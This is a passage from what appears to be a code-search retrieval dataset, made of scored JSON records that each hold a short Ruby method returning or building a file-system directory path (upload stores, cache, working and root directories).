"ca05c4c53dad4afd07d94d78a8819395", "score": "0.66590124", "text": "def files_dir\n return File.absolute_path(File.join(@root_dir, 'files'))\n end", "title": "" }, { "docid": "02f1310fedd6fb367934019c6cdd0210", "score": "0.66579765", "text": "def working_directory\n self.working_directory = \"#{RAILS_ROOT}/tmp/photos\" unless @working_directory\n @working_directory\n end", "title": "" }, { "docid": "e4e92c18f9f9e179627481cf3afb86af", "score": "0.66562974", "text": "def dir_path\n File.dirname(file_path)\n end", "title": "" }, { "docid": "a9256e2f76cb7552ef861a38baa6959e", "score": "0.6649691", "text": "def get_directory\n end", "title": "" }, { "docid": "57af7e12b30b46f0a7e2f9114fde3823", "score": "0.664938", "text": "def get_base_directory\n File.expand_path(\".\")\n end", "title": "" }, { "docid": "c350795477f53be8cb866cd2b6359116", "score": "0.6644599", "text": "def managed_directory\n @path\n end", "title": "" }, { "docid": "3e72e06bf2cf730d668bd2f06418fc4d", "score": "0.66438943", "text": "def store_dir\n \"#{base_dir}/full\"\n end", "title": "" }, { "docid": "6a6bed588ab70a237005e491d776e279", "score": "0.6643378", "text": "def working_directory\n\treturn File.expand_path Dir.pwd\nend", "title": "" }, { "docid": "421de17926d6b459267ceb1c8ef73dfb", "score": "0.6635372", "text": "def get_directory\r\n end", "title": "" }, { "docid": "819ea60c74d407a179508f72f2fb4474", "score": "0.6632813", "text": "def store_dir\n file_path\n end", "title": "" }, { "docid": "7b67a76ba5e1dea08b5c8e1cfe8bd8f0", "score": "0.66314363", "text": "def directory\n FILE_DIRECTORY\nend", "title": "" }, { "docid": "232d4d0026f95140e7ccfb971a2645e4", "score": "0.66295135", "text": "def store_dir\n content = model._parent\n File.join([\n \"uploads\",\n \"customers\",\n \"#{content.customer.id}\",\n \"#{content.class.to_s.underscore.pluralize}\",\n \"#{content.id}\",\n \"videos\",\n \"#{model.id}\"\n ])\n end", "title": "" }, { "docid": "a1348c74837448fd38056d0013a6f0f5", "score": "0.66225946", "text": "def dir\n Path.new(File.dirname(@path))\n end", "title": "" }, { "docid": "4ac4b6ece9a4c6949f1d41c5e4156116", "score": "0.6621599", "text": "def store_dir\n private_file_path\n end", "title": "" }, { "docid": "d2ea627fa2bc6506531b74637e8d8004", "score": "0.6609585", "text": "def path_base\n Dir.pwd\n end", "title": "" }, { "docid": "2e30bb9f439acbcb172fc0731c48fd7b", "score": "0.66003543", "text": "def dirname\n File.dirname source_file\n end", "title": "" }, { "docid": "001e64c3a08c7fdd687e6a1243c74a03", "score": "0.6599417", "text": "def get_dir; @dir; end", "title": "" }, { "docid": "512d27a53d5e5b386ff6fa771fc79c8a", "score": "0.65979546", "text": "def get_directory; end", "title": "" }, { "docid": "b54694598a07c54141ebb7c9588b20dc", "score": "0.6595127", "text": "def file_directory\n # Calculate and return the expected file name.\n prefix = Rails.root\n \"#{prefix}/db/workflows/#{user_id}/\"\n end", "title": "" }, { "docid": "8c52d75d88ea38e4d55145a3384c3d65", "score": "0.658061", "text": "def working_dir\n update.cwd\n end", "title": "" }, { "docid": "f6d30c51614379ebf531c2b16f5fcb3d", "score": "0.6577216", "text": "def local_upload_files_dir\n \"#{upload_local_root}/#{self.class.to_s}/#{self.id || 'tmp'}\"\n end", "title": "" }, { "docid": "9889d9a71aae2e2c74748b014f7325be", "score": "0.6551944", "text": "def dir\n return File.expand_path(File.dirname(__FILE__))\n end", "title": "" }, { "docid": "1968e80e8e7d533f1c255bb6d520d4bb", "score": "0.65464956", "text": "def dirname\n File.dirname(self)\n end", "title": "" }, { "docid": "9f09a1fed4576b55f45929a134d0cee7", "score": "0.6542635", "text": "def dir\n @working_directory\n end", "title": "" }, { "docid": "a210f0dc20f562f219da17425adcf250", "score": "0.6541005", "text": "def store_dir\n \"uploads/order_#{model.order.id}/original\" unless model.order.nil?\n end", "title": "" }, { "docid": "81bd697d7b3911843186b8486e78b5d2", "score": "0.653699", "text": "def store_dir\n \"uploads/attachment_files/#{model.permalink}\"\n end", "title": "" }, { "docid": "120cb53d4bf20188a7a593071db109df", "score": "0.65305966", "text": "def store_dir\n partition_dir = model.folder\n \"#{account_site_assets_media(false)}/#{partition_dir}\"\n end", "title": "" }, { "docid": "4c8b2449870ca406c878f392535917b5", "score": "0.65243715", "text": "def destination_path\n File.expand_path(File.join('.', dir_name))\n end", "title": "" }, { "docid": "badc815dd099e1c937b78ef9bffc6d8a", "score": "0.65202796", "text": "def directory\n (public_path + sitemaps_path).expand_path.to_s\n end", "title": "" }, { "docid": "369c1042fbc162c857ff8f4e3a3ea300", "score": "0.651656", "text": "def parent_directory\r\n RAM\r\n end", "title": "" }, { "docid": "a37307bc4021c07045bc05f576aac08f", "score": "0.6516535", "text": "def working_directory\r\n Pathname(workspace.dir).join(working_dir_suffix)\r\n end", "title": "" }, { "docid": "5c5598d34eff442974e4aa877800fab5", "score": "0.6512901", "text": "def osw_dir\r\n File.dirname(@osw_abs_path)\r\n end", "title": "" }, { "docid": "bcd112c40abeed0423904d7bbc47b5cb", "score": "0.65073264", "text": "def files_dir\n self.class.files_dir\n end", "title": "" }, { "docid": "31eaca09d98cbc9342af22e112c77967", "score": "0.6504251", "text": "def root\n File.dirname __dir__\n end", "title": "" }, { "docid": "dd49d6b7a2b779afebfb0ce8593d65b5", "score": "0.65040934", "text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{get_last_dir_part(model.id)}\"\n end", "title": "" }, { "docid": "45e31b4d75b5b5ebe9c156cf9f9434a4", "score": "0.6502538", "text": "def directory_name\r\n \"./\"\r\n end", "title": "" }, { "docid": "11b93b85ee2613036c760dbaab62cee5", "score": "0.64911443", "text": "def store_dir\n \"p\"\n end", "title": "" }, { "docid": "6bf646651735e37424b714cf5f66257c", "score": "0.6488979", "text": "def cache_dir(script)\n # prefix object ID with a text constant to make a legal directory name\n # in case object id is negative (Ubuntu, etc.). this method will be called\n # more than once and must return the same directory each time for a given\n # script instantiation.\n path = File.normalize_path(File.join(AgentConfig.cache_dir, 'right_scripts_content', \"rs_attach\" + script.object_id.to_s))\n\n # convert to native format for ease of scripting in Windows, etc. the\n # normalized path is normal for Ruby but not necessarily for native FS.\n return RightScale::Platform.filesystem.pretty_path(path, true)\n end", "title": "" }, { "docid": "710345676046660f8b5a3029e3929263", "score": "0.64869964", "text": "def generated_files_directory\n File.join(@cache_directory, \"salsify\")\n end", "title": "" }, { "docid": "b5d22d316e46ca16710512bb33ed9306", "score": "0.64864516", "text": "def store_dir\n imageable = model._parent\n File.join([\n \"uploads\",\n \"images\",\n \"#{imageable.class.to_s.underscore.pluralize}\",\n \"#{imageable.id}\",\n \"images\",\n \"#{model.id}\"\n ])\n end", "title": "" }, { "docid": "1062eb93ced25acb819df643598d1a1e", "score": "0.6479707", "text": "def local_path\n \"#{Hopper.temp_dir}/#{directory_name}\"\n end", "title": "" }, { "docid": "a78375476746044409b72843cd89623b", "score": "0.6478598", "text": "def rootdir\n file(\"\", true)\n end", "title": "" }, { "docid": "db09a3079df58488d899520bcc1ccb32", "score": "0.64756715", "text": "def directory\n extract\n @directory\n end", "title": "" }, { "docid": "a579cb6c833fff9cf0ea517a6bdc7adf", "score": "0.6474679", "text": "def path\n @path ||= self.class.base_path.join(directory_name)\n end", "title": "" }, { "docid": "17bed8f8adba60bcdabfd2c8f0273258", "score": "0.6474511", "text": "def directory\n (public_path + sitemaps_path).to_s\n end", "title": "" }, { "docid": "108a64a542b8f36ad3db61d43b5fe6b8", "score": "0.6470474", "text": "def store_dir\n \"\"\n end", "title": "" }, { "docid": "e8df4c217356b14b504b9565819d60e9", "score": "0.64657634", "text": "def original_file_path\n of = original_file\n fn = root(ext(@original))\n\n if File.exist?(fn)\n fn\n elsif of.respond_to?(:path)\n of.path\n else\n temp = Tempfile.new(['', ext('')])\n temp.write of.read\n temp.close\n temp.path\n end\n end", "title": "" }, { "docid": "954a1c6b76ef21bd63d1410fc1a70b6a", "score": "0.64622617", "text": "def dir_path_for_dir_with_same_name_as_parent_dir\n current_dir_path = Dir.pwd\n current_dir_name = File.basename(current_dir_path)\n File.join(current_dir_path, current_dir_name)\n end", "title": "" }, { "docid": "f7e7b7ed72485c1ac3bd16c7fa3f2b33", "score": "0.6459099", "text": "def default_download_directory\n Rails.root.join('tmp')\n end", "title": "" }, { "docid": "1c59cdeb0c4e3918a98a9695fb2a9ad6", "score": "0.6456106", "text": "def directory\n self.directory? ? self : self.dirname\n end", "title": "" }, { "docid": "0d69248a6bcf85ddc70a2a2fc798422f", "score": "0.64560384", "text": "def cache_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'cache'))\n end", "title": "" }, { "docid": "7c727bbf33d705d9c6de9624355c4321", "score": "0.6455699", "text": "def files_dir\n return File.absolute_path(File.join(@root_dir, 'lib', 'files'))\n end", "title": "" }, { "docid": "f88caeaa2ed9bb75f84f11994fd02389", "score": "0.6452468", "text": "def path\n @directory\n end", "title": "" }, { "docid": "d6fe368b4001d7f3c25794d9640a79d3", "score": "0.6450156", "text": "def get_directory_above_src()\n Dir.pwd.split('/')[-2]\nend", "title": "" }, { "docid": "a1e450cfac0bfbdc192d90a2243db162", "score": "0.644258", "text": "def parent_directory\r\n end", "title": "" }, { "docid": "6d1e20766a0453721aef70d2907dec67", "score": "0.6433111", "text": "def file_dir\n File.join(@root_dir, \"files\")\n end", "title": "" }, { "docid": "6c662557195acbe3d8bbe705f2225d58", "score": "0.6429033", "text": "def original_file_uri\n File.join(directory_uri, self.filename)\n end", "title": "" }, { "docid": "df42b7ebde0b8d0aeb79a20f07e03654", "score": "0.64282453", "text": "def directory\n @directory\n end", "title": "" }, { "docid": "7327813f027c249a0fbf688af4c123e5", "score": "0.64275557", "text": "def dir\n File.dirname( path )\n end", "title": "" }, { "docid": "5ca2ab08d40abd1bbf22d5fad2b2d3d2", "score": "0.64231056", "text": "def upload_directory\n Settings.root_to_do_path / upload_directory_name\n end", "title": "" }, { "docid": "0d94ca3a58debf782e1d7e0ae6640b65", "score": "0.6421605", "text": "def base_dir\n datastore['WritableDir'].to_s\n end", "title": "" }, { "docid": "0d94ca3a58debf782e1d7e0ae6640b65", "score": "0.6421605", "text": "def base_dir\n datastore['WritableDir'].to_s\n end", "title": "" }, { "docid": "dbaff71746e46ec25395d76311773fe6", "score": "0.641917", "text": "def parent_directory\r\n mvs\r\n end", "title": "" }, { "docid": "7d64c6b7766ad9b6b00e0ea34e0aaa8c", "score": "0.6416075", "text": "def dir\n File.dirname(path)\n end", "title": "" }, { "docid": "ee5ef70c966ec80e254c5274af5593b2", "score": "0.6414092", "text": "def product_files_directory\n File.join(@cache_directory, \"product_cache\")\n end", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "8c3a792281298db57e00d42c12b1a248", "score": "0.0", "text": "def comment_params\n params.require(:comment).permit(:post_id, :body, :user_id)\n end", "title": "" } ]
[ { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.7121987", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.70541996", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.69483954", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6902367", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6733912", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6717838", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.6687021", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6676254", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66612333", "text": "def filtered_parameters; end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6555296", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "7ac5f60df8240f27d24d1e305f0e5acb", "score": "0.6527056", "text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.6456324", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6450841", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.6450127", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6447226", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6434961", "text": "def valid_params?; end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.64121825", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.64121825", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.63913447", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6373396", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6360051", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.62856233", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.627813", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.62451434", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6228103", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6224965", "text": "def check_params\n true\n end", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.6222941", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.6210244", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "ff55cf04e6038378f431391ce6314e27", "score": "0.62077755", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.61762565", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "0d980fc60b69d03c48270d2cd44e279f", "score": "0.61711127", "text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.6168448", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.6160164", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.61446255", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.6134175", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6120522", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "76d85c76686ef87239ba8207d6d631e4", "score": "0.6106709", "text": "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.60981655", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "2b19f8222e09c2518b0d19b4bf1f69d3", "score": "0.6076113", "text": "def list_params\n params.permit(:list_name)\n end", "title": "" }, { "docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3", "score": "0.60534036", "text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "title": "" }, { "docid": "4f20d784611d82c07d49cf1cf0d6cb7e", "score": "0.60410434", "text": "def all_params; end", "title": "" }, { "docid": "5a96718b851794fc3e4409f6270f18fa", "score": "0.6034582", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "ff7bc2f09784ed0b4563cfc89b19831d", "score": "0.6029977", "text": "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "title": "" }, { "docid": "6c615e4d8eed17e54fc23adca0027043", "score": "0.6019861", "text": "def user_params\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "2032edd5ab9475d59be84bdf5595f23a", "score": "0.60184896", "text": "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "title": "" }, { "docid": "c59ec134c641678085e086ab2a66a95f", "score": "0.60157263", "text": "def permitted_params\n @wfd_edit_parameters\n end", "title": "" }, { "docid": "a8faf8deb0b4ac1bcdd8164744985176", "score": "0.6005857", "text": "def user_params\r\n end", "title": "" }, { "docid": "b98f58d2b73eac4825675c97acd39470", "score": "0.6003803", "text": "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.60012573", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.59955895", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.5994598", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.5993604", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "e4c37054b31112a727e3816e94f7be8a", "score": "0.5983824", "text": "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.5983166", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5977431", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "4d77abbae6d3557081c88dad60c735d0", "score": "0.597591", "text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "title": "" }, { "docid": "55d8ddbada3cd083b5328c1b41694282", "score": "0.5968824", "text": "def params_permit\n params.permit(:id)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.5965953", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59647584", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59647584", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "4e758c3a3572d7cdd76c8e68fed567e0", "score": "0.59566855", "text": "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "title": "" }, { "docid": "3154b9c9e3cd7f0b297f900f73df5d83", "score": "0.59506303", "text": "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "title": "" }, { "docid": "b48f61fbb31be4114df234fa7b166587", "score": "0.5950375", "text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "title": "" }, { "docid": "c4802950f28649fdaed7f35882118f20", "score": "0.59485626", "text": "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "5d64cb26ce1e82126dd5ec44e905341c", "score": "0.59440875", "text": "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.5930872", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "da4f66ce4e8c9997953249c3ff03114e", "score": "0.5930206", "text": "def argument_params\n params.require(:argument).permit(:name)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5925668", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.59235454", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "be01bb66d94aef3c355e139205253351", "score": "0.5917905", "text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.59164816", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "d6bf948034a6c8adc660df172dd7ec6e", "score": "0.5913821", "text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "title": "" }, { "docid": "eb5b91d56901f0f20f58d574d155c0e6", "score": "0.59128743", "text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "title": "" }, { "docid": "c6a96927a6fdc0d2db944c79d520cd99", "score": "0.5906617", "text": "def parameters\n nil\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.59053683", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "a743e25503f1cc85a98a35edce120055", "score": "0.59052664", "text": "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "title": "" }, { "docid": "533048be574efe2ed1b3c3c83a25d689", "score": "0.5901591", "text": "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "title": "" }, { "docid": "02a61b27f286a50802d652930fee6782", "score": "0.58987755", "text": "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.5897456", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "238705c4afebc0ee201cc51adddec10a", "score": "0.58970183", "text": "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.58942604", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" } ]
938ac857b4534ff055738d77426b7998
TODO move this elsewhere
